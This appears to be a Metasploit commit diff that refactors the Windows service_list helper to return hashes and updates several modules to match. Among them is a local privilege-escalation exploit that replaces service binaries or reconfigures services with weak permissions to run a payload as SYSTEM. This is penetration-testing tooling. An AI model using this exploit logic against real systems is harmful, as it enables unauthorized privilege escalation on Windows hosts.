Refactor service_list to return array of hashes
Update trusted_service_path, service_permissions, net_runtime_modify and enum_services to handle change. Refactor enum_services to tidy it up a bitbug/bundler_fix
parent
6763d1fbd8
commit
ddf23ae8e8
|
@ -86,16 +86,13 @@ module Services
|
||||||
#
|
#
|
||||||
# List all Windows Services present
|
# List all Windows Services present
|
||||||
#
|
#
|
||||||
# @return [Array] The names of the services.
|
# @return [Array] Hash Array with Service details (minimum :name).
|
||||||
#
|
#
|
||||||
# @todo Rewrite to allow operating on a remote host
|
# @todo Rewrite to allow operating on a remote host
|
||||||
#
|
#
|
||||||
def service_list
|
def service_list
|
||||||
if load_extapi
|
if load_extapi
|
||||||
services = []
|
return session.extapi.service.enumerate
|
||||||
services.extapi.service.enumerate.each do service
|
|
||||||
services << service[:name]
|
|
||||||
end
|
|
||||||
else
|
else
|
||||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||||
a =[]
|
a =[]
|
||||||
|
@ -110,7 +107,7 @@ module Services
|
||||||
begin
|
begin
|
||||||
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
|
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
|
||||||
if srvtype == "32" or srvtype == "16"
|
if srvtype == "32" or srvtype == "16"
|
||||||
services << sk
|
services << {:name => sk }
|
||||||
end
|
end
|
||||||
rescue
|
rescue
|
||||||
end
|
end
|
||||||
|
@ -141,32 +138,39 @@ module Services
|
||||||
# @todo Rewrite to allow operating on a remote host
|
# @todo Rewrite to allow operating on a remote host
|
||||||
#
|
#
|
||||||
def service_info(name)
|
def service_info(name)
|
||||||
|
service = {}
|
||||||
|
|
||||||
if load_extapi
|
if load_extapi
|
||||||
svc = session.extapi.service.query(name)
|
begin
|
||||||
service = {
|
svc = session.extapi.service.query(name)
|
||||||
"Name" => svc[:display],
|
service = {
|
||||||
"Startup" => START_TYPE[svc[:starttype]],
|
"Name" => svc[:display],
|
||||||
"Command" => svc[:path],
|
"Startup" => START_TYPE[svc[:starttype]],
|
||||||
"Credentials" => svc[:startname],
|
"Command" => svc[:path],
|
||||||
"DACL" => svc[:dacl],
|
"Credentials" => svc[:startname],
|
||||||
"LogGroup" => svc[:logroup],
|
"DACL" => svc[:dacl],
|
||||||
"Interactive" => svc[:interactive],
|
"LogGroup" => svc[:logroup],
|
||||||
"extended_results" => true
|
"Interactive" => svc[:interactive],
|
||||||
}
|
"extended_results" => true
|
||||||
else
|
}
|
||||||
service = {}
|
|
||||||
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
return service
|
||||||
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
srvstart = registry_getvaldata(servicekey,"Start").to_i
|
vprint_error("Request Error #{e}")
|
||||||
service["Startup"] = START_TYPE[srvstart]
|
end
|
||||||
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
|
|
||||||
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
|
|
||||||
service["DACL"] = nil
|
|
||||||
service["LogGroup"] = nil
|
|
||||||
service["Interactive"] = nil
|
|
||||||
service["extended_results"] = false
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
||||||
|
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
|
||||||
|
srvstart = registry_getvaldata(servicekey,"Start").to_i
|
||||||
|
service["Startup"] = START_TYPE[srvstart]
|
||||||
|
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
|
||||||
|
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
|
||||||
|
service["DACL"] = nil
|
||||||
|
service["LogGroup"] = nil
|
||||||
|
service["Interactive"] = nil
|
||||||
|
service["extended_results"] = false
|
||||||
|
|
||||||
return service
|
return service
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -115,16 +115,16 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
#for each service
|
#for each service
|
||||||
service_list.each do |serv|
|
service_list.each do |serv|
|
||||||
begin
|
begin
|
||||||
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
|
srvtype = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","Type").to_s
|
||||||
if srvtype != "16"
|
if srvtype != "16"
|
||||||
continue
|
continue
|
||||||
end
|
end
|
||||||
moved = false
|
moved = false
|
||||||
configed = false
|
configed = false
|
||||||
#default path, but there should be an ImagePath registry key
|
#default path, but there should be an ImagePath registry key
|
||||||
source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
|
source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv[:name]}.exe")
|
||||||
#get path to exe; parse out quotes and arguments
|
#get path to exe; parse out quotes and arguments
|
||||||
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
|
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","ImagePath").to_s
|
||||||
sourcemaybe = session.fs.file.expand_path(sourceorig)
|
sourcemaybe = session.fs.file.expand_path(sourceorig)
|
||||||
if( sourcemaybe[0] == '"' )
|
if( sourcemaybe[0] == '"' )
|
||||||
sourcemaybe = sourcemaybe.split('"')[1]
|
sourcemaybe = sourcemaybe.split('"')[1]
|
||||||
|
@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
session.fs.file.stat(sourcemaybe) #check if it really exists
|
session.fs.file.stat(sourcemaybe) #check if it really exists
|
||||||
source = sourcemaybe
|
source = sourcemaybe
|
||||||
rescue
|
rescue
|
||||||
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
|
print_status("Cannot reliably determine path for #{serv[:name]} executable. Trying #{source}")
|
||||||
end
|
end
|
||||||
#try to exploit weak file permissions
|
#try to exploit weak file permissions
|
||||||
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
|
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
|
||||||
|
@ -145,49 +145,49 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
#try to exploit weak config permissions
|
#try to exploit weak config permissions
|
||||||
#open with SERVICE_CHANGE_CONFIG (0x0002)
|
#open with SERVICE_CHANGE_CONFIG (0x0002)
|
||||||
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
|
||||||
if(servhandleret["return"] != 0)
|
if(servhandleret["return"] != 0)
|
||||||
#SERVICE_NO_CHANGE is 0xFFFFFFFF
|
#SERVICE_NO_CHANGE is 0xFFFFFFFF
|
||||||
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
||||||
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
|
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
|
||||||
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
|
print_status("#{serv[:name]} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
|
||||||
configed = true
|
configed = true
|
||||||
end
|
end
|
||||||
adv.CloseServiceHandle(servhandleret["return"])
|
adv.CloseServiceHandle(servhandleret["return"])
|
||||||
|
|
||||||
end
|
end
|
||||||
if(moved != true && configed != true)
|
if(moved != true && configed != true)
|
||||||
print_status("No exploitable weak permissions found on #{serv}")
|
print_status("No exploitable weak permissions found on #{serv[:name]}")
|
||||||
continue
|
continue
|
||||||
end
|
end
|
||||||
print_status("Restarting #{serv}")
|
print_status("Restarting #{serv[:name]}")
|
||||||
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
|
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
|
||||||
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
|
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],0x30)
|
||||||
if(servhandleret["return"] != 0)
|
if(servhandleret["return"] != 0)
|
||||||
#SERVICE_CONTROL_STOP = 0x00000001
|
#SERVICE_CONTROL_STOP = 0x00000001
|
||||||
if(adv.ControlService(servhandleret["return"],1,56))
|
if(adv.ControlService(servhandleret["return"],1,56))
|
||||||
session.railgun.kernel32.Sleep(1000)
|
session.railgun.kernel32.Sleep(1000)
|
||||||
adv.StartServiceA(servhandleret["return"],0,nil)
|
adv.StartServiceA(servhandleret["return"],0,nil)
|
||||||
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
|
print_status("#{serv[:name]} restarted. You should get a system meterpreter soon. Enjoy.")
|
||||||
#Cleanup
|
#Cleanup
|
||||||
if moved == true
|
if moved == true
|
||||||
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
|
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
|
||||||
end
|
end
|
||||||
if configed == true
|
if configed == true
|
||||||
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
|
||||||
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
||||||
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
|
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
|
||||||
adv.CloseServiceHandle(servhandleret["return"])
|
adv.CloseServiceHandle(servhandleret["return"])
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
|
print_status("Could not restart #{serv[:name]}. Wait for a reboot or force one yourself.")
|
||||||
end
|
end
|
||||||
adv.CloseServiceHandle(servhandleret["return"])
|
adv.CloseServiceHandle(servhandleret["return"])
|
||||||
if datastore['AGGRESSIVE'] != true
|
if datastore['AGGRESSIVE'] != true
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
|
print_status("Could not restart #{serv[:name]}. Wait for a reboot. (or force one yourself)")
|
||||||
end
|
end
|
||||||
rescue
|
rescue
|
||||||
end
|
end
|
||||||
|
|
|
@ -64,8 +64,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
def enum_vuln_services(quick=false)
|
def enum_vuln_services(quick=false)
|
||||||
vuln_services = []
|
vuln_services = []
|
||||||
|
|
||||||
service_list.each do |name|
|
service_list.each do |service|
|
||||||
info = service_info(name)
|
info = service_info(service[:name])
|
||||||
|
|
||||||
# Sometimes there's a null byte at the end of the string,
|
# Sometimes there's a null byte at the end of the string,
|
||||||
# and that can break the regex -- annoying.
|
# and that can break the regex -- annoying.
|
||||||
|
|
|
@ -51,12 +51,12 @@ class Metasploit3 < Msf::Post
|
||||||
print_status("This may take a few minutes.")
|
print_status("This may take a few minutes.")
|
||||||
# enumerate the installed .NET versions
|
# enumerate the installed .NET versions
|
||||||
service_list.each do |service|
|
service_list.each do |service|
|
||||||
if service =~ /clr_optimization_.*/
|
if service[:name] =~ /clr_optimization_.*/
|
||||||
info = service_info(service)
|
info = service_info(service[:name])
|
||||||
paths << info['Command']
|
paths << info['Command']
|
||||||
services << service
|
services << service[:name]
|
||||||
begin
|
begin
|
||||||
service_stop(service) # temporarily stop the service
|
service_stop(service[:name]) # temporarily stop the service
|
||||||
print_status("Found #{info['Name']} installed")
|
print_status("Found #{info['Name']} installed")
|
||||||
rescue
|
rescue
|
||||||
print_error("We do not appear to have access to stop #{info['Name']}")
|
print_error("We do not appear to have access to stop #{info['Name']}")
|
||||||
|
|
|
@ -56,41 +56,46 @@ class Metasploit3 < Msf::Post
|
||||||
print_status("Start Type Filter: " + qtype)
|
print_status("Start Type Filter: " + qtype)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
results_table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => 'Services',
|
||||||
|
'Indent' => 1,
|
||||||
|
'SortIndex' => 0,
|
||||||
|
'Columns' => ['Name', 'Credentials', 'Command', 'Startup']
|
||||||
|
)
|
||||||
|
|
||||||
print_status("Listing Service Info for matching services:")
|
print_status("Listing Service Info for matching services:")
|
||||||
service_list.each do |sname|
|
service_list.each do |srv|
|
||||||
srv_conf = {}
|
srv_conf = {}
|
||||||
isgood = true
|
|
||||||
#make sure we got a service name
|
#make sure we got a service name
|
||||||
if sname
|
if srv[:name]
|
||||||
begin
|
begin
|
||||||
srv_conf = service_info(sname)
|
srv_conf = service_info(srv[:name])
|
||||||
#filter service based on filters passed, the are cumulative
|
#filter service based on filters passed, the are cumulative
|
||||||
if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
|
if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
|
||||||
isgood = false
|
next
|
||||||
end
|
|
||||||
if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
|
|
||||||
isgood = false
|
|
||||||
end
|
|
||||||
# There may not be a 'Startup', need to check nil
|
|
||||||
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
|
|
||||||
isgood = false
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#if we are still good return the info
|
if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
|
||||||
if isgood
|
next
|
||||||
vprint_status("\tName: #{sname}")
|
|
||||||
vprint_good("\t\tStartup: #{srv_conf['Startup']}")
|
|
||||||
vprint_good("\t\tCommand: #{srv_conf['Command']}")
|
|
||||||
vprint_good("\t\tCredentials: #{srv_conf['Credentials']}")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# There may not be a 'Startup', need to check nil
|
||||||
|
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
results_table << [srv[:name], srv_conf['Credentials'], srv_conf['Startup'], srv_conf['Command']]
|
||||||
|
|
||||||
rescue
|
rescue
|
||||||
print_error("An error occured enumerating service: #{sname}")
|
print_error("An error occured enumerating service: #{srv[:name]}")
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
print_error("Problem enumerating services")
|
print_error("Problem enumerating services")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
print_line results_table.to_s
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue